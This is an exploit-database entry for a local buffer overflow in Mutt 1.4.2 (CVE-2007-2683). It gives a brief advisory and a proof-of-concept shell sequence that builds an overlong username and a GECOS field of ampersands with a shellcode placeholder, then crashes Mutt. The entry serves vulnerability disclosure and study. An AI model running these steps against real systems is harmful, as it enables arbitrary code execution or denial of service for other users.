Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow

Author: raylai
type: local
platform: linux
port: 
date_added: 2007-05-28 
date_updated: 2013-12-07 
verified: 1 
codes: CVE-2007-2683;OSVDB-34973 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)